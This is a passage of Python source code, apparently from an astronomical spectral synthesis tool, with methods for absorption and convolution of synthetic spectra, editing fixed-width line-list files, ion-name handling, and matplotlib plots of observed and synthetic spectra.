""" if index_abs is None: index_abs = is_absorb(self.sp_theo['raie_ref']) for i_abs in index_abs: sp_tau += self.sp_theo['spectr'][i_abs] * self.sp_theo['correc'][i_abs] sp_abs = np.exp(sp_tau) if self.get_conf('fic_atm') is not None: if type(self.get_conf('fic_atm')) not in (list, tuple): self.conf['fic_atm'] = (self.conf['fic_atm'],) self.conf['coeff_atm'] = (self.conf['coeff_atm'],) self.conf['shift_atm'] = (self.conf['shift_atm'],) if len(self.get_conf('fic_atm')) != len(self.get_conf('coeff_atm')): log_.error('fic_atm number {} != coeff_atm number {}'.format(len(self.get_conf('fic_atm')), len(self.get_conf('coeff_atm'))), calling = self.calling) for fic_atm, coeff_atm, shift_atm in zip(self.get_conf('fic_atm'), self.get_conf('coeff_atm'), self.get_conf('shift_atm')): try: d = np.genfromtxt(fic_atm, dtype=None, names=('wl', 'abs')) d['wl'] = vactoair(d['wl'], self.conf['vactoair_inf'], self.conf['vactoair_sup']) if type(coeff_atm) not in (list, tuple): coeff_atm = (coeff_atm, ) if type(shift_atm) not in (list, tuple): shift_atm = (shift_atm, ) for c_atm, s_atm in zip(coeff_atm, shift_atm): abs_interp = interpolate.interp1d(d['wl']*(1+s_atm/CST.CLIGHT*1e5), d['abs']) sp_abs *= np.exp(np.log(abs_interp(self.w)) * c_atm) except: log_.warn('Problem in using data from {}'.format(fic_atm), calling = self.calling) # sp_abs /= self.red_corr return sp_abs def make_filter_instr(self): if self.sp_synth is None: self.filter_ = None return None filter_size = 11 increm = 1.1 detect_limit = 1e-3 / np.max(self.sp_synth) while True: filter_size = int(filter_size * increm) # if filter_size/2*2 == filter_size: if filter_size%2 == 0: filter_size += 1 if filter_size > self.n_lambda: break self.filter_ = self.profil_instr(filter_size, self.conf['instr_prof'], self.lambda_pix) if (abs(self.filter_[0]) < detect_limit) and (abs(self.filter_[-1]) < detect_limit): break self.filter_ /= self.filter_.sum() def convol_synth(self, cont, sp_synth): if sp_synth is None: return None input_arr = (cont + sp_synth) * self.sp_abs kernel = self.filter_ sp_synth_tot = convol(input_arr, kernel) return sp_synth_tot def rebin_on_obs(self): if self.sp_synth_tot is None: return None, None resol = self.get_conf('resol', undefined = 1, message=None) cont_lr = rebin(self.cont, resol) sp_synth_lr = rebin(self.sp_synth_tot, resol) return cont_lr, sp_synth_lr def adjust(self): spectr0 = self.sp_theo['spectr'].copy() new_model_arr, errorMsg = self.read_model(self.fic_model) if len(errorMsg) > 0: return -1, errorMsg new_cosmetik_arr, errorMsg = self.read_cosmetik() if len(errorMsg) > 0: return -1, errorMsg new_sp_theo, new_liste_totale, new_liste_raies = self.append_lists(self.phyat_arr, new_model_arr, new_cosmetik_arr) mask_diff = np.zeros(len(new_liste_raies), dtype=bool) for key in ('lambda', 'l_shift', 'i_rel', 'i_cor', 'vitesse', 'profile'): mask_diff = mask_diff | (new_liste_raies[key] != self.liste_raies[key]) log_.debug('{} differences in lines from files'.format(mask_diff.sum()), calling=self.calling + ' adjust') ref_diff = self.compare_profiles() log_.debug('{} differences in profile'.format(len(ref_diff)), calling=self.calling + ' adjust') for im, l in enumerate(new_liste_raies.profile): if np.str(l) in ref_diff: mask_diff[im] = True if mask_diff.sum() > 0 and len(mask_diff) == len(self.liste_raies): old_sp_theo = self.sp_theo.copy() if len(new_sp_theo) != len(old_sp_theo): log_.error('The new list has different number of elements', calling = self.calling+'.adjust') liste_old_diff = self.liste_raies[mask_diff] old_sp_theo, old_sp_synth = self.make_synth(liste_old_diff, old_sp_theo) if len(ref_diff) > 0: self.do_profile_dict() liste_new_diff = new_liste_raies[mask_diff] new_sp_theo, new_sp_synth = self.make_synth(liste_new_diff, new_sp_theo) if log_.level >= 3: print('Old values:') self.print_line(liste_old_diff) print('New values:') self.print_line(liste_new_diff) do_abs = False self.sp_theo['spectr'] = spectr0 old_sp_abs = self.make_sp_abs(old_sp_theo) for i_change in np.arange(len(new_sp_theo['raie_ref'])): to_change = (self.sp_theo['raie_ref']['num'] == new_sp_theo['raie_ref'][i_change]['num']) new_sp_theo['correc'][i_change] = self.sp_theo['correc'][to_change].copy() old_sp_theo['correc'][i_change] = self.sp_theo['correc'][to_change].copy() if (new_sp_theo['raie_ref'][i_change]['i_rel'] != old_sp_theo['raie_ref'][i_change]['i_rel']): new_sp_theo['correc'][i_change] = 1.0 self.sp_theo['spectr'][to_change] += new_sp_theo['spectr'][i_change] - old_sp_theo['spectr'][i_change] self.sp_theo['raie_ref'][to_change] = new_sp_theo['raie_ref'][i_change] self.sp_theo['correc'][to_change] = new_sp_theo['correc'][i_change] if is_absorb(new_sp_theo['raie_ref'][i_change]): do_abs = True else: self.sp_synth += (new_sp_theo['correc'][i_change] * new_sp_theo['spectr'][i_change] - old_sp_theo['correc'][i_change] * old_sp_theo['spectr'][i_change]) log_.message('change line {0}'.format(new_sp_theo['raie_ref'][i_change]['num']), calling=self.calling + ' adjust') if do_abs: self.sp_abs = self.sp_abs/old_sp_abs*self.make_sp_abs(self.sp_theo) self.liste_raies = new_liste_raies self.sp_synth_tot = self.convol_synth(self.cont, self.sp_synth) self.cont_lr, self.sp_synth_lr = self.rebin_on_obs() log_.message('{} differences'.format(mask_diff.sum()), calling=self.calling + ' adjust') return mask_diff.sum(), errorMsg #self.update_plot2() # def modif_intens(self, raie_num, fact): # # if fact <= 0.: # log_.error('fact must be >0. {0}'.format(fact)) # return None # a_changer = (self.sp_theo['raie_ref']['num'] == raie_num) # if a_changer.sum() == 1: # old_correc = self.sp_theo['correc'][a_changer][0] # if is_absorb(self.sp_theo['raie_ref'][a_changer]): # sp_abs_old = self.make_sp_abs(self.sp_theo[a_changer]) # self.sp_theo['correc'][a_changer] = fact # sp_abs_new = self.make_sp_abs(self.sp_theo[a_changer]) # self.sp_abs = self.sp_abs - sp_abs_old + sp_abs_new # else: # self.sp_synth += (fact-old_correc) * self.sp_theo['spectr'][a_changer][0] # self.sp_theo['correc'][a_changer] = fact # #self.sp_theo['spectr'][a_changer] *= fact/old_correc # adding this break the tool # self.sp_synth_tot = self.convol_synth(self.cont, self.sp_synth) # self.cont_lr, self.sp_synth_lr = self.rebin_on_obs() # self.update_plot2() # def print_line(self, line, sort='lambda', reverse=False): if type(line) == np.core.records.recarray: sorts = np.argsort(line[sort]) if reverse: sorts = sorts[::-1] for isort in sorts: self.print_line(line[isort]) return print('{0[num]:>14d} {1:9s}{0[lambda]:11.3f}{0[l_shift]:6.3f}{0[i_rel]:10.3e}{0[i_cor]:7.3f}'\ ' {0[ref]:>14d}{0[profile]:5d}{0[vitesse]:7.2f}{2:1s}'.format(line, line['id'].decode(), line['comment'].decode().strip())) def get_line_info(self, line_num, sort='lambda', reverse=False): line = None refline = None satellites = None refline_num = -1 to_select = (self.liste_raies['num'] == line_num) if to_select.sum() > 0: line = self.liste_raies[to_select][0] refline_num = line['ref'] if line is None: refline_num = line_num to_select = (self.sp_theo['raie_ref']['num'] == refline_num) if to_select.sum() > 0: refline = self.sp_theo['raie_ref'][to_select][0] to_select = (self.liste_raies['ref'] == refline_num) satellites = self.liste_raies[to_select] order = np.argsort(satellites[sort]) satellites = np.array(satellites)[order] return line, refline, satellites def read_satellites(self, filename, refline_num): with open(filename, 'r') as f: satellites = [] for eachline in f: if int(self.fieldStrFromLine(eachline,'ref')) == refline_num: satellites.append(eachline) return satellites def cosmetic_line_unchanged_old(self, line_c): if line_c == None: return None line_num = int(self.fieldStrFromLine(line_c,'num')) line = self.read_line(self.phyat_file, line_num) if line == None: log_.warn('Error in cosmetic file: line {0:} does not exist in the atomic database\n'.format(str(line_num)), calling=self.calling) return None else: line = line.rstrip() keys = ['l_shift', 'i_cor', 'i_rel', 'profile', 'vitesse'] v0 = {i: np.float(self.fieldStrFromLine(line, i)) for i in keys} v1 = {i: np.float(self.fieldStrFromLine(line_c, i)) for i in keys} if v0 == v1: return True else: return False def cosmetic_line_unchanged(self, line_c): if line_c == None: return None line_num = int(self.fieldStrFromLine(line_c,'num')) line = self.get_line(self.phyat_arr, line_num) if line == None: log_.warn('Error in cosmetic file: line {0:} does not exist in the atomic database\n'.format(str(line_num)), calling=self.calling) return None else: keys = ['l_shift', 'i_cor', 'i_rel', 'profile', 'vitesse'] v0 = {i: np.float(line[i]) for i in keys} v1 = {i: np.float(self.fieldStrFromLine(line_c, i)) for i in keys} if v0 == v1: return True else: return False def cosmetic_line_ok_old(self, line_c): if line_c == None: return None line_num = int(self.fieldStrFromLine(line_c,'num')) line = self.read_line(self.phyat_file, line_num) if line == None: log_.warn('Error in cosmetic file: line {0:} does not exist in the atomic database\n'.format(str(line_num)), calling=self.calling) return None else: line = line.rstrip() keys = [ 'lambda', 'i_rel' ] v0 = {i: np.float(self.fieldStrFromLine(line, i)) for i in keys} v1 = {i: np.float(self.fieldStrFromLine(line_c, i)) for i in keys} if v0['i_rel'] != v1['i_rel'] or v0['lambda'] != v1['lambda']: log_.warn('Error in cosmetic file for line {}\n'.format(str(line_num)), calling=self.calling) log_.warn('(cosmetic) ' + line_c, calling=self.calling) log_.warn('(database) ' + line, calling=self.calling) return False else: return True def cosmetic_line_ok(self, line_c): if line_c == None: return None line_num = int(self.fieldStrFromLine(line_c,'num')) line = self.get_line(self.phyat_arr, line_num) if line == None: log_.warn('Error in cosmetic file: line {0:} does not exist in the atomic database\n'.format(str(line_num)), calling=self.calling) return None else: line_c_i_rel = np.float(self.fieldStrFromLine(line_c, 'i_rel')) line_c_lambda = np.float(self.fieldStrFromLine(line_c, 'lambda')) if line['i_rel'] != line_c_i_rel or line['lambda'] != line_c_lambda: log_.warn('Error in cosmetic file for line {}\n'.format(str(line_num)), calling=self.calling) log_.warn('(cosmetic) {}'.format(line_c), calling=self.calling) log_.warn('(database) {}'.format(line), calling=self.calling) log_.warn('lambda rel error {}'.format((line['lambda'] / line_c_lambda)/line_c_lambda), calling=self.calling) return False else: return True def read_line(self, filename, line_num): line = None line_num_str = str(line_num) k = len(line_num_str) if not os.path.isfile(filename): return None else: with open(filename, 'r') as f: line = None for eachline in f: s = self.fieldStrFromLine(eachline,'num') s = str(int(s)) if (int(s) == line_num) or (s[:k] == line_num_str and s[k:].strip('0') == ''): line = eachline break log_.debug('Reading line {} from {}'.format(line_num, filename), calling=self.calling+'.read_line') return line def get_line(self, arr, line_num): mask = arr['num'] == int(line_num) if mask.sum() == 1: line = arr[mask][0] else: line = None return line def fmt(self, field, value): fmt = self.field_format[field] return fmt.format(value) def replace_field(self, line, field, value): w = self.field_width[field] if len(value) > w: return None elif len(value) < w: a = self.field_align[field] value = '{:{a}{w}}'.format(value) j = self.field_pos[field] k = j + w line = line[:j] + value + line[k:] return line def remove_line(self, filename, line_num): line = self.read_line(filename, line_num) if line == None: return False if not os.path.isfile(filename): return False else: f = open(filename, 'r') lines = f.readlines() f.close() i = lines.index(line) if i >= 0: del lines[i] with open(filename, 'w') as f: f.writelines(lines) return True else: return False def replace_line(self, filename, line): line_num = int(self.fieldStrFromLine(line,'num')) if os.path.isfile(filename): lineNotFound = True with open(filename, 'r') as f: lines = f.read().splitlines() for i in range(0, len(lines)): curr_line = lines[i] if int(self.fieldStrFromLine(curr_line,'num')) == line_num: lines[i] = line + '\n' lineNotFound = False else: lines[i] = lines[i] + '\n' if lineNotFound: lines.append(line) else: lines = [line] with open(filename, 'w') as f: f.writelines(lines) def fieldStrFromLine(self, lineOfFile, field): if lineOfFile == None: return None fieldStr = None if field in self.fields: i = self.field_pos[field] j = i+self.field_width[field] fieldStr = lineOfFile[i:j] return fieldStr def line_info(self, line_num, sat_info=True, print_header=True, sort='lambda', reverse=False): if print_header: print('\n{0:-^45}'.format(' INFO LINES ')) if type(line_num) == type(()) or type(line_num) == type([]): for line in line_num: self.line_info(line, sat_info=sat_info, print_header=False) return to_print = (self.liste_raies['num'] == line_num) if to_print.sum() == 1: raie = self.liste_raies[to_print][0] self.print_line(raie) if raie['ref'] != 0 and sat_info: print('\nSatellite line of:') self.line_info(raie['ref'], print_header=False) to_print = (self.sp_theo['raie_ref']['num'] == line_num) if to_print.sum() > 0 and sat_info: raie = self.sp_theo['raie_ref'][to_print][0] self.print_line(raie) print('') satellites_tab = (self.liste_raies['ref'] == raie['num']) Nsat = satellites_tab.sum() if Nsat > 0: print('{0} satellites'.format(Nsat)) self.print_line(self.liste_raies[satellites_tab], sort=sort, reverse=reverse) if self.sp_theo['correc'][to_print][0] != 1.0: print('Intensity corrected by {0}'.format(self.sp_theo['correc'][to_print][0])) if print_header: print('-'*45) def get_ref_list(self, ions): ref_list = [] for ion in ions: i_ion = np.where(self.sp_theo['raie_ref']['id'] == ion.ljust(9).encode())[0] if len(i_ion) == 0: ref_list.append(-1) for i in i_ion: ref_list.append(self.sp_theo['raie_ref'][i][0]) return ref_list def set_ion_list(self): l = list(set(self.sp_theo['raie_ref']['id'])) self.ion_list = [i.decode('utf-8') for i in list(set(self.liste_raies['id']))] self.true_ion_list = list(set([self.true_ion(ion) for ion in self.ion_list])) def get_element_and_int_ion(self, ion): ion = self.true_ion(ion) k = ion.find('_') if k > -1 and self.isRoman(ion[k+1:]): element = ion[:k] int_ion = self.roman_to_int(ion[k+1:]) else: element = ion int_ion = 999 return element, int_ion def get_ion_int_from_ion_str(self, ion_str): k_list = np.where(self.sp_theo['raie_ref']['id'] == self.fmt('id', ion_str).encode())[0] if len(k_list) > 0: return self.sp_theo['raie_ref'][k_list][0]['num']/1000000000 else: return -1 def set_selected_ions_data(self): color = 'dummy' linestyle = 'dummy' pos_label = 0 pos_ion = 1 pos_ref = 2 pos_i_ion = 3 pos_proc = 4 pos_color = 5 pos_linestyle = 6 ions = [] selected_ions = self.get_conf('selected_ions') for ion in selected_ions: if ion not in ions: ions.append(ion) selected_ions = ions colors = self.get_conf('color_selected_ions') linestyles = [ 'solid', 'dashed', 'dashdot', 'dotted' ] label_list = [] ref_list = [] proc_type = self.get_conf('process_code_format') label_list = [] if self.get_conf('diff_lines_by') == 1: for ion in selected_ions: if ion == self.true_ion(ion) and not self.isPseudoIon(ion): ion_int = self.get_ion_int_from_ion_str(ion) for i in range(len(proc_type)): ref_set = set() for j in proc_type[i][0]: proc = ion_int*10+j i_list = np.where(self.liste_raies['num']/100000000 == proc) if len(i_list) > 0: ref_set = ref_set.union(self.liste_raies['ref'][[i_list][0]]) if len(ref_set) > 0: ref_list = list(ref_set) i_ion = self.get_ref_index_from_ref_list(ref_list) label = proc_type[i][1].format(ion) label_list.append([label, [ion], ref_list, i_ion, proc_type[i][0], color, linestyle]) else: i_list = np.where(self.liste_raies['id'] == self.fmt('id', ion).encode()) if len(i_list) > 0: ref_list = list(set(self.liste_raies['ref'][[i_list][0]])) proc_set = set() """ for line in ref_list: proc = int(str(line)[-9]) proc_set.add(proc) """ proc_set = {ion} i_ion = self.get_ref_index_from_ref_list(ref_list) label_list.append([ion, [self.true_ion(ion)], ref_list, i_ion, list(proc_set), color, linestyle]) else: for ion in selected_ions: ion = self.true_ion(ion) all_ions = self.get_all_ions_from_ion(ion) i_ion = set() for subion in all_ions: i_ion = i_ion.union(np.where(self.sp_theo['raie_ref']['id'] == subion.ljust(9).encode())[0]) i_ion = list(i_ion) ref_list = [] for i in range(0, len(i_ion)): ref_line = self.sp_theo['raie_ref'][i_ion[i]]['num'] ref_list.append(ref_line) if self.get_conf('diff_lines_by') == 0: for i in range(0, len(i_ion)): ref_line = ref_list[i] refline_str = str(ref_line).strip('0') label = ion + ' (' + refline_str + ')' label_list.append([label, [ion], [ref_line], list(i_ion[i:i+1]), [], color, linestyle]) else: label_list.append([ion, [ion], ref_list, list(i_ion), [], color, linestyle]) # sorting if self.get_conf('selected_ions_sort'): for i in range(0,len(label_list)-1): label1 = label_list[i][pos_label] true_ion1 = self.true_ion(label1) element1, int_ion1 = self.get_element_and_int_ion(true_ion1) for j in range(i+1, len(label_list)): label2 = label_list[j][pos_label] true_ion2 = self.true_ion(label2) element2, int_ion2 = self.get_element_and_int_ion(true_ion2) if (element2 < element1) or ((element2 == element1) and (int_ion2 < int_ion1)) or ((true_ion2 == true_ion1) and (label2 < label1)): prov = label_list[i] label_list[i] = label_list[j] label_list[j] = prov label1 = label2 true_ion1 = true_ion2 element1 = element2 int_ion1 = int_ion2 if self.get_conf('diff_lines_by') == 3: i = 0 while i < len(label_list)-1: ion = label_list[i][pos_ion][0] ion_set = set() ion_set.add(ion) element = self.element(ion) j = i+1 while j < len(label_list): ion2 = label_list[j][pos_ion][0] element2 = self.element(ion2) if element2 == element: ion_set.add(str(ion2)) ref_list = list(set(label_list[i][pos_ref] + label_list[j][pos_ref])) i_ion = list(set(label_list[i][pos_i_ion] + label_list[j][pos_i_ion])) label_list.pop(j) label_list[i][pos_ion] = list(ion_set) label_list[i][pos_ref] = ref_list label_list[i][pos_i_ion] = i_ion else: j += 1 i += 1 for i in range(len(label_list)): ion_list = label_list[i][pos_ion] ion_label = label_list[i][pos_label] ion_list.sort() ion = ion_list[0] for j in range(1, len(ion_list)): s = ion_list[j] k = s.index('_') if k > -1: s = s[k+1:] ion = ion + '+' + s label_list[i][pos_label] = ion for k in range(0, len(label_list)): color = colors[k%len(colors)] linestyle = linestyles[(k//len(colors))%len(linestyles)] label_list[k][pos_color] = color label_list[k][pos_linestyle] = linestyle self.selected_ions_data = label_list return def get_refline_lists(self, ions): ref_code_list = [] ref_index_list = [] ref_label_list = [] for ion in ions: ion = self.true_ion(ion) i_ion = np.where(self.sp_theo['raie_ref']['id'] == ion.ljust(9).encode())[0] if len(i_ion) == 0: ref_code_list.append(-1) ref_index_list.append(-1) ref_label_list.append(ion.replace('_',' ') + ' (no lines)') for i in i_ion: ref_code_list.append(self.sp_theo['raie_ref'][i][0]) ref_index_list.append(i) if len(i_ion) == 1: ref_label_list.append(ion.replace('_',' ')) else: ref_label_list.append(ion.replace('_',' ')+ ' - ' + str(np.where(i_ion==i)[0][0])) # ref_label_list.append(ion.replace('_',' ')+ ' - ' + str(self.sp_theo['raie_ref'][i][0])[:-8]) return ref_code_list, ref_index_list, ref_label_list def get_ref_index_list(self, ions): ref_index_list = [] for ion in ions: ion = self.true_ion(ion) i_ion = np.where(self.sp_theo['raie_ref']['id'] == ion.ljust(9).encode())[0] for i in i_ion: ref_index_list.append(i) return ref_index_list def get_ref_index_from_ref_list(self, ref_list): ref_index_list = [] for ref_num in ref_list: i_ion = np.where(self.sp_theo['raie_ref']['num'] == ref_num)[0] for i in i_ion: ref_index_list.append(i) return ref_index_list def get_line_from_reduce_code(self, code_str): if not code_str.isdigit(): line = None else: line = self.read_line(self.phyat_file, int(code_str)) if line is None: line = self.read_line(self.fic_model, int(code_str)) return line def get_refline_from_code(self, code_str): s = '' for line in self.liste_raies: if code_str == str(line[0]): s = line['ref'] return s def get_ion_from_code(self,code_str): s = '' for line in self.liste_raies: if code_str == str(line[0]): s = line['id'] return s def isRoman(self, s): isRom = True if len(s.strip()) == 0: isRom = False else: for ch in s: if ch not in ['I', 'V', 'X', 'L']: isRom = False return isRom def roman_to_int(self, s): x = {'C': 100, 'L': 50, 'X': 10, 'V': 5, 'I': 1} s = s.strip() if len(s) == 0: return -1 n = x[s[-1]] n += sum([x[i] if x[i] >= x[j] else -x[i] for i, j in zip(s, s[1:])]) return n def isPseudoIon(self, ion): ion = self.true_ion(ion) k = ion.rfind('_') if k > 0 and self.isRoman(ion[k+1:]): return False else: return True def true_ion(self, ion): k = ion.find('_') if k > 0: s = ion[k+1:] while len(s) > 0 and s[-1] not in [ 'I', 'V', 'X' ]: s = s[:-1] if self.isRoman(s): ion = ion[:k+1] + s return ion.strip() def get_all_ions_from_ion(self, ion): ion = self.true_ion(ion) ion_list = [ion] k = len(ion) for s in self.ion_list: if len(s) > k and s[:k] == ion and s[k] not in [ 'I', 'V', 'X' ]: ion_list.append(s.strip()) return list(set(ion_list)) def element(self, ion_str): k = ion_str.find('_') if k > -1: return ion_str[:k] else: return ion_str.strip() def get_ions_from_element(self, elem): def charge(ion): s = ion[ion.index('_')+1:] if self.isRoman(s): return self.roman_to_int(s) else: return s ion_list = [] for line in self.liste_raies: ion = str(line['id']) ion = line['id'].decode() if elem == self.element(ion): ion_list.append(self.true_ion(ion)) ion_list = list(set(ion_list)) ion_list.sort(key=charge) return ion_list def save_lines(self): if self.get_conf('show_selected_intensities_only'): cut = self.get_conf('cut_plot2') else: cut = 0.0 ref_list = self.get_ref_list(self.get_conf('selected_ions')) sort_list = [ 'lambda', 'i_rel', 'id' ] k = self.get_conf('save_lines_sort') sort = sort_list[k//2] filename = self.get_conf('save_lines_filename') extension = os.path.splitext(filename)[1][1:].lower() sep = ' ' end = '\n' if extension == 'tex': sep = ' & ' end = ' {0}{0}{1}'.format('\\', '\n') elif extension == 'csv': sep = ' ; ' end = '\n' sorts = np.argsort(self.liste_raies[sort]) if k%2 == 1: sorts = sorts[::-1] with open(filename, 'w') as f: field_print = self.get_conf('save_lines_fields') n = len(field_print) if self.get_conf('save_lines_header'): s = '' for item in field_print: f.write('{0:9s} : {1:>}\n'.format(item, self.field_tip[item])) for item in field_print: width = self.field_width[item] align = '<' if ( item == field_print[n-1] ): add_s = end else: add_s = sep s = s + str('{:{a}{w}s}{}'.format(item, add_s, a=align, w=width)) f.write('\n'+s+'\n') for i_sort in sorts: line = self.liste_raies[i_sort] wl = line['lambda'] + line['l_shift'] + self.conf['lambda_shift'] i_rel = line['i_rel'] i_tot = line['i_rel'] * line['i_cor'] #if (abs(i_rel) > cut) and ( not self.get_conf('show_selected_ions_only') or line['ref'] in ref_list): if (abs(i_tot) > cut) and ( not self.get_conf('show_selected_ions_only') or line['ref'] in ref_list): s = '' n = len(field_print) for item in field_print: thisformat = self.field_format[item] if item == 'l_tot': r = wl elif item == 'i_tot': r = i_tot else: r = line[item] if item == 'l_shift': s = s + ' ' s = s + str(thisformat.format(r)) if ( item == field_print[n-1] ): s = s + end else: s = s + sep f.write(s) def plot1(self): f, ax = plt.subplots() ax.step(self.w_ori, self.f_ori, where='mid', label='Obs') ax.step(self.w_ori, self.sp_synth_lr, where='mid', label='Synth') ax.legend() return f, ax def plot2(self, hr=False, cut=None, split=False, do_ax2 = True, do_ax3 = True, do_buttons=True, xlims=None, fontsize=12, legend_loc=1, fig=None, magenta_ref=None, magenta_lab=None, cyan_ref = None, cyan_lab=None, call_init_axes=True): log_.message('entering plots, ID(ax1)'.format(id(self.fig1)), calling=self.calling) self.hr = hr self.split = split self.do_ax2 = do_ax2 self.do_buttons = do_buttons self.do_ax3 = do_ax3 if cut is not None: self.set_conf('cut_plot2', cut) self.ax2_fontsize = fontsize self.legend_loc = legend_loc if magenta_ref is not None: self.plot_magenta = magenta_ref self.label_magenta = magenta_lab else: self.plot_magenta = self.get_conf('plot_magenta') self.label_magenta = self.get_conf('label_magenta') if cyan_ref is not None: self.plot_cyan = cyan_ref self.label_cyan = cyan_lab else: self.plot_cyan = self.get_conf('plot_cyan') self.label_cyan = self.get_conf('label_cyan') if fig is None: self.fig1 = plt.figure() log_.message('creating new figure ID {}'.format(id(self.fig1)), calling=self.calling) else: self.fig1 = fig self.fig1.clf() log_.message('using argument figure ID: {} {}'.format(id(self.fig1), id(fig)), calling=self.calling) if split: if do_ax2: self.fig2 = plt.figure() if do_ax3: self.fig3 = plt.figure() self.ax1 = self.fig1.add_subplot(111) if do_ax2: self.ax2 = self.fig2.add_subplot(111, sharex=self.ax1) if do_ax3: self.ax3 = self.fig3.add_subplot(111, sharex=self.ax1) else: n_subplots = 1 i_ax2 = 2 i_ax3 = 2 if do_ax2: n_subplots += 1 i_ax3 += 1 if do_ax3: n_subplots += 1 self.ax1 = self.fig1.add_subplot(n_subplots, 1, 1) if do_ax2: self.ax2 = self.fig1.add_subplot(n_subplots, 1, i_ax2, sharex=self.ax1) if do_ax3: self.ax3 = self.fig1.add_subplot(n_subplots, 1, i_ax3, sharex=self.ax1) self.plot_ax1(self.ax1, xlims=xlims) if do_ax2: self.plot_ax2(self.ax2) if do_ax3: self.plot_ax3(self.ax3) if do_buttons: self._make_buttons(split=split) if call_init_axes: self.init_axes() self.restore_axes() plt.subplots_adjust(hspace=0.0) def plot_ax1(self, ax, xlims=None, show_legend=True): if self.show_uncor_spec: ax.step(self.w_obs, self.f_ori, where='mid', label='Uncorr', c='yellow', linewidth=1.5) ax.step(self.w_ori, self.f_ori, where='mid', label='Obs', c='red', linewidth=1.5) if self.sp_synth_lr is None: return self.ax1_line_synth = ax.step(self.w_ori, self.sp_synth_lr, where='mid', label='Synth', c='blue', linewidth=1.5)[0] if self.hr: ax.step(self.w, self.sp_synth, where='mid', c='green') selected_ions = self.get_conf('selected_ions') self.set_selected_ions_data() label_list = self.selected_ions_data pos_label = 0 pos_ion = 1 pos_ref = 2 pos_i_ion = 3 pos_proc = 4 pos_color = 5 pos_linestyle = 6 if selected_ions != [] and self.get_conf('plot_lines_of_selected_ions'): j = self.get_conf('index_of_current_ion') if j in range(0, len(selected_ions)): ions = [] ions.append( selected_ions[j] ) else: ions = selected_ions if j in range(0, len(label_list)): label_list = label_list[j:j+1] for item in label_list: label = item[pos_label].replace('_',' ') i_ion = item[pos_i_ion] color = item[pos_color] linestyle = item[pos_linestyle] y = 0 for i in range(0,len(i_ion)): y = y + self.sp_theo['spectr'][i_ion][i] ax.step(self.w, self.cont+y, where='mid', c=color, label=label, linestyle=linestyle )[0] if show_legend: ax.legend(loc=self.legend_loc, fontsize=self.legend_fontsize) else: ax.legend().set_visible(False) log_.debug('ax1 drawn on ax ID {}'.format(id(ax)), calling=self.calling) # mvfc: old routine, still needed to run without Qt4 or Qt5 def plot_ax2(self, ax): if self.sp_synth_lr is None: return for line in self.liste_raies: wl = line['lambda'] + line['l_shift'] + self.conf['lambda_shift'] i_rel = line['i_rel'] if (abs(i_rel) > self.get_conf('cut_plot2')): ax.axvline( wl, ymin=0.2, ymax=0.8, color = 'blue', linestyle = 'solid', linewidth = 1.5 ) # ax.plot([wl, wl], [0, 1], color='blue') # ax.text(wl, -0.2, '{0} {1:7.4f}'.format(line['id'], i_rel), # rotation='vertical', fontsize=self.ax2_fontsize).set_clip_on(True) log_.debug('ax2 drawn on ax ID {}'.format(id(ax)), calling=self.calling) def plot_line_ticks(self, ax, y1, y2, wmin=0., wmax=20000., show_legend=True): pos_label = 0 pos_ion = 1 pos_ref = 2 pos_i_ion = 3 pos_proc = 4 pos_color = 5 pos_linestyle = 6 dy = (y2-y1)*0.15 #dy = (y2-y1)/2 if self.sp_synth_lr is None: return lcolor = self.get_conf('line_tick_color') label_list = self.selected_ions_data j = self.get_conf('index_of_current_ion') if j in range(0, len(label_list)): label_list = label_list[j:j+1] for line in self.liste_raies: wl = line['lambda'] + line['l_shift'] + self.conf['lambda_shift'] i_rel = line['i_rel'] i_tot = line['i_rel'] * line['i_cor'] if (wmin < wl) and (wl < wmax) and ((abs(i_tot) > self.get_conf('cut_plot2')) or ( not self.get_conf('show_selected_intensities_only'))): if not self.get_conf('show_selected_ions_only'): ax.axvline( wl, ymin=y1+dy, ymax=y2-dy, color = lcolor, linestyle = 'solid' ) #ax.axvline( wl, ymin=y1+dy, ymax=y2, color = lcolor, linestyle = 'solid' ) refline = line['ref'] ion = line['id'].decode().strip() proc = int(str(line['num'])[-9]) for item in label_list: label = item[pos_label] ion_list = item[pos_ion] ref_list = item[pos_ref] color = item[pos_color] linestyle = item[pos_linestyle] proc_list = item[pos_proc] if refline in ref_list and self.true_ion(ion) in ion_list and ( self.get_conf('diff_lines_by') != 1 or proc in proc_list or ion in proc_list ): ax.axvline( wl, ymin=y1, ymax=y2, color = color, linestyle = linestyle, linewidth = 1.5 ) # To add ticks to the legend of the figure when the spectrum of the selected ions are not plotted if show_legend: if not self.get_conf('plot_lines_of_selected_ions') or self.get_conf('line_tick_ax') == 1: for item in label_list: label = item[pos_label].replace('_',' ') color = item[pos_color] linestyle = item[pos_linestyle] ax.step( [0,0], [0,100], color = color, linestyle = linestyle, label = label ) ax.legend(loc=self.legend_loc, fontsize=self.legend_fontsize) else: ax.legend().set_visible(False) log_.debug('Line ticks drawn on ax ID {}'.format(id(ax)), calling=self.calling) def plot_line_ticks_for(self, satellites, ion, line_num, refline, ax, y1, y2, wmin=0., wmax=20000., addGreenTickToLegend=True): if self.sp_synth_lr is None: return l_shift_refline = np.float(self.fieldStrFromLine(refline,'l_shift')) ion = ion.replace('_',' ').strip() line_num = line_num.strip().strip('0') label = ion + ' (' + line_num + ')' color = 'green' for line in satellites: wl = np.float(self.fieldStrFromLine(line,'lambda')) + \ np.float(self.fieldStrFromLine(line,'l_shift')) + \ self.conf['lambda_shift'] + l_shift_refline if (wmin < wl) and (wl < wmax): ax.axvline( wl, ymin=y1, ymax=y2, color = color, linestyle = 'solid', linewidth = 2.5 ) if addGreenTickToLegend: ax.step( [0,0], [0,100], color = color, linestyle = 'solid', label = label, linewidth = 2.5 ) ax.legend(loc=self.legend_loc, fontsize=self.legend_fontsize) log_.debug('Line ticks drawn on ax ID {} for line {}'.format(id(ax), line_num), calling=self.calling) def plot_ax3(self, ax, show_legend=True): if self.sp_synth_lr is not None: ax.plot((0, 1e10), (0.0, 0.0), c='green') #ax.step(self.w, self.f - self.cont, where='mid', c = 'red', linestyle='--') #ax.step(self.w_ori, self.f_ori - self.cont_lr, where='mid', label='Obs-Cont', c='red', linewidth=2.0, alpha=0.5) #ax.step(self.w, self.sp_abs*5, where='mid', label='Abs', c='magenta') ax.step(self.w_ori, self.f_ori - self.cont_lr, where='mid', label='Obs-Cont', c=(1.0, 0.0, 0.0, 0.5), linewidth=1.0) ax.step(self.w_ori, self.f_ori - self.sp_synth_lr, where='mid', label='Obs-Synth', c='blue', linewidth=1.5)[0] if show_legend: ax.legend(loc=self.legend_loc, fontsize=self.legend_fontsize) else: 